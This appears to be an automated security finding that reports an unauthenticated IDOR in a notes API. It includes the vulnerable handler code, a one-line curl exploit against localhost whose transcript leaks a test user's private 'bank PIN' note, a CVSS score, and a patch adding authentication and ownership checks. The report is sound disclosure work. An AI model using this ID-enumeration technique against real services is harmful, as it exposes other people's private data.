Unauthenticated IDOR on /api/notes exposes private notes (PII, bank PIN)
auth-bypass · server.js:48-53
f87c6fc2fa by Macintosh1011 on 2026-05-30Summary
The /api/notes handler in server.js looks up a note by the user-supplied id query parameter and returns it without verifying any session, token, or ownership against the note's owner field. As a result, notes flagged private:true are returned to anyone who can reach the endpoint. Expected behavior is to authenticate the caller and reject requests where req.user !== note.owner (or where the note is marked private and the caller is not the owner).
Impact. Any unauthenticated remote attacker can enumerate note IDs (e.g. ?id=1, ?id=2, ...) and read every user's notes, including ones marked private. The validated response leaked alice's bank PIN; the same pattern would disclose any stored secret such as SSNs, passwords, or internal data. This is a full confidentiality breach of all stored notes with no credentials required.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/notes") {🔴 const id = Number(q.id || 1);🔴 const note = NOTES.find((n) => n.id === id);🔴 if (!note) return send(res, 404, "no such note");🔴 return send(res, 200, JSON.stringify(note), "application/json");🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/notes?id=2'
Exploit transcript
HTTP 200 Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}Confirmed: HTTP 200 with body {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true} returned to an unauthenticated request
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 (high)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Require authentication and enforce ownership before returning the note:
--- a/server.js
+++ b/server.js
@@
if (parsed.pathname === "/api/notes") {
+ const user = authenticate(req); // e.g. verify session cookie / bearer token
+ if (!user) return send(res, 401, "authentication required");
const id = Number(q.id || 1);
const note = NOTES.find((n) => n.id === id);
if (!note) return send(res, 404, "no such note");
+ if (note.owner !== user.name) {
+ return send(res, 403, "forbidden");
+ }
return send(res, 200, JSON.stringify(note), "application/json");
}
Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.